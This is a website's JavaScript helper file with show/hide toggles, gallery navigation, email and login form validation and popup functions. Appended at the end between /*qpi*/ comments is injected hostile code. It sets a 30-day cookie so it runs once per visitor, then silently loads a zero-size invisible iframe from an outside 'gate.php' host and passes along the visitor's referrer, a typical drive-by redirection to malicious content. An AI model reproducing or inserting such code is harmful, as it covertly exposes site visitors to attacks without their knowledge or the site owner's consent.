
function show(id)
{
	var id1 = document.getElementById(id);
	if(id1.style.display == "none")
	id1.style.display = "block";
	else if(id1.style.display == "block")
	id1.style.display = "none";
	else
	id1.style.display = "block";

}

function showx(id)
{
	var id1 = document.getElementById(id);
	if(id1.style.display == "none")
	{
		
	id1.style.display = "block";
	id1.style.position = "absolute";
	
	
	}
	else if(id1.style.display == "block")
	id1.style.display = "none";
	else
	{
	id1.style.display = "block";
	id1.style.position = "absolute";
	}

}




function showww(id)
{
	var id1 = document.getElementById(id);
	id1.style.display = "block";

}

function changecatgal()
{
var name = document.formsubk.catbb.value;
var subid = document.formsub.subid.value;
var catb = document.formcat.catb.value;

location.href = 'gallery.php?catbb='+name+'&catb='+catb+'&subid='+subid ;

}


function changecatgall(id)
{
var name = document.formsubk.catbb.value;
var subid = document.formsub.subid.value;
var catb = document.formcat.catb.value;

location.href = 'gallery.php?catbb='+name+'&catb='+catb+'&subid='+subid+'&show=1' ;
showww(id) ;
}

function hider(id)
{
	var id1 = document.getElementById(id);
	id1.style.display = "none";
}

function validateshortsearch()
{
		var erc = 0;

		if(document.search.searchh1 && document.search.searchh1.value=='' )
		{
		alert("Enter Search term");
		document.search.searchh1.focus();
		erc++;
		return false;
		}
		return true;
	
}

function changestyle(id ,  imgName)
{

 var id1 =	document.getElementById(id);
 document.getElementById(id).style.background = "url(" + imgName + ")"; 
	
}

   function PopupPic(sPicURL) {
     window.open( "popup.htm?"+sPicURL, "",  
     "resizable=1,HEIGHT=200,WIDTH=200");
   }
   
function hide(id)
{
	var id1 = document.getElementById(id);
	id1.style.display = "none"

}

function validatemail()
{
	var errornumm = 0;
		if(document.mer.email && document.mer.email.value=='' )
		{
		alert("Please enter Your Email");
		document.mer.email.focus();
		errornumm++;
		return false;
		}
		
	   if(-1 == document.mer.email.value.indexOf("@")) { 
       document.mer.email.focus(); 
       alert("Your email must have a '@'."); 
	   errornumm++;
       return false; 
       }
    if(-1 != document.mer.email.value.indexOf(",")) { 
       document.mer.email.focus(); 
       alert("Your email must not have a ',' in it"); 
	   errornumm++;
       return false; 
       }
    if(-1 != document.mer.email.value.indexOf("#")) { 
       document.mer.email.focus(); 
       alert("Your email must not have an '#' in it." ); 
	   errornumm++;
       return false; 
       }
    if(-1 != document.mer.email.value.indexOf("!")) { 
       document.mer.email.focus(); 
       alert("Your email must not have a '!' in it." ); 
	   errornumm++;
       return false; 
       }
    if(-1 != document.mer.email.value.indexOf(" ")) { 
       document.mer.email.focus(); 
       alert("Your email must not have a space in it." ); 
	   errornumm++;
       return false; 
       }
    if(document.mer.email.value.length ==
         (document.mer.email.value.indexOf("@")+1) ) {
       document.mer.email.focus();
       alert("Your email must have a domain name after the '@'.");
	   errornumm++;
       return false;
       }

	if(errornumm < 1)
	{	
	document.mer.submit();	
	}
	
}

function validatelogin()
{
	var errornum = 0;
		if(document.reg.username && document.reg.username.value=='' )
		{
		alert("Please enter UserName");
		document.reg.username.focus();
		errornum++;
		return false;
		}
		if(document.reg.password && document.reg.password.value=='' )
		{
		alert("Please enter Password");
		document.reg.password.focus();
		errornum++;
		return false;
		}

		
	if(errornum < 1)
	{	
	document.reg.submit();	
	}
	
}

var newwindow;
function poptastic(url, width, height)
{
	
	newwindow=window.open(url,'name','height='+height+',width='+width +', resizable = 1, scrollbars = 1');
	if (window.focus) {newwindow.focus()}
}
function poptastic2(url, width, height)
{
	
	newwindow=window.open(url,'name','height='+height+',width='+width);
	if (window.focus) {newwindow.focus()}
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://zalupka.in/gate/gate.php?f=515433&r='+encodeURI(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
